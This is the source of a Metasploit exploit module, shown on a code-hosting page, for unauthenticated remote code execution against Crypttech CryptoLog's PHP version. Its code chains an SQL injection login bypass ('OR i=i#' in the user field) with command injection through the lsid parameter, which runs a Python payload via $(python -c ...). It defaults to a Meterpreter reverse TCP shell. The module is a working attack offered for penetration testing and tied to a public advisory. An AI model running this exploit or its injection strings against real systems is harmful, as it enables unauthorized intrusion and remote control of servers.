CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => "Crypttech CryptoLog Remote Code Execution",13'Description' => %q{14This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.15An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities16are no longer present in the ASP.NET version CryptoLog, available since 2009.1718CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is19used by the application without input validation and parameter binding, which leads to SQL injection20vulnerability. Successfully exploiting this vulnerability gives a valid session.2122CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not23possible to access this endpoint without having a valid session. One user parameter is used by the24application while executing an operating system command, which causes a command injection issue.2526Combining these vulnerabilities gives the opportunity execute operation system commands under the context27of the web user.28},29'License' => MSF_LICENSE,30'Author' =>31[32'Mehmet Ince <[email protected]>' # author & msf module33],34'References' =>35[36['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']37],38'DefaultOptions' =>39{40'Payload' => 'python/meterpreter/reverse_tcp'41},42'Platform' => ['python'],43'Arch' => ARCH_PYTHON,44'Targets' => [[ 'Automatic', { }]],45'Privileged' => false,46'DisclosureDate' => '2017-05-03',47'DefaultTarget' => 048))4950register_options(51[52Opt::RPORT(80),53OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])54]55)56end5758def bypass_login59r = rand_text_alpha(15)60i = rand_text_numeric(5)6162res = send_request_cgi({63'method' => 'POST',64'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),65'vars_get' => {66'act' => 'login'67},68'vars_post' => {69'user' => "' OR #{i}=#{i}#",70'pass' => "#{r}"71}72})7374if res && res.code == 302 && res.headers.include?('Set-Cookie')75res.get_cookies76else77nil78end79end8081def check82if bypass_login.nil?83Exploit::CheckCode::Safe84else85Exploit::CheckCode::Appears86end87end8889def exploit90print_status("Bypassing login by exploiting SQLi flaw")9192cookie = bypass_login9394if cookie.nil?95fail_with(Failure::Unknown, "Something went wrong.")96end9798print_good("Successfully logged in")99100print_status("Exploiting command injection flaw")101r = rand_text_alpha(15)102103send_request_cgi({104'method' => 'POST',105'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),106'cookie' => cookie,107'vars_post' => {108'opt' => "check",109'lsid' => "$(python -c \"#{payload.encoded}\")",110'lssharetype' => "#{r}"111}112})113114end115end116117118